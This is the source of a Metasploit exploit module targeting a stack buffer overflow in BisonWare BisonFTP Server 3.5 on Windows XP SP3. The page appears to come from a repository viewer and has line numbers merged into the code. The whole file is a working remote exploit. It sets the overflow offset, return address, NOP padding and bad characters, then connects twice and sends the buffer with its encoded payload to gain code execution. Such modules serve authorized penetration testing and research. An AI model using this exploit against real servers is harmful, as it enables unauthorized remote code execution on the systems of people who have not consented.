Path: blob/master/modules/exploits/windows/ftp/bison_ftp_bof.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'BisonWare BisonFTP Server Buffer Overflow',15'Description' => %q{16BisonWare BisonFTP Server 3.5 is prone to an overflow condition.17This module exploits a buffer overflow vulnerability in the said18application.19},20'Platform' => 'win',21'Author' => [22'localh0t', # initial discovery23'veerendragg @ SecPod', # initial msf24'Jay Turla' # msf25],26'License' => MSF_LICENSE,27'References' => [28[ 'CVE', '1999-1510'],29[ 'BID', '49109'],30[ 'EDB', '17649'],31[ 'URL', 'http://secpod.org/msf/bison_server_bof.rb']32],33'Privileged' => false,34'DefaultOptions' => {35'VERBOSE' => true36},37'Payload' => {38'Space' => 310,39'BadChars' => "\x00\x0a\x0d",40'StackAdjustment' => -3500,41},42'Targets' => [43[44'Bisonware FTP Server / Windows XP SP3 EN',45{46'Ret' => 0x0040333f,47'Offset' => 1028,48'Nops' => 40449}50],51],52'DefaultTarget' => 0,53'DisclosureDate' => '2011-08-07',54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)61end6263def check64connect_login65disconnect66if /BisonWare BisonFTP server product V3\.5/i === banner67return Exploit::CheckCode::Appears68else69return Exploit::CheckCode::Safe70end71end7273def exploit74connect75print_status('Triggering the prompt for an unregistered product')76sock.put('')77print_status('Disconnecting...')78disconnect7980print_status('Connecting for the second time to deliver our payload...')81connect # connect for the second time8283buf = rand_text_alpha(target['Offset'])84buf << payload.encoded85buf << make_nops((target['Nops']) - payload.encoded.length)86buf << [target.ret].pack('V')87print_status('Sending payload...')8889sock.put(buf)90handler91disconnect92end93end949596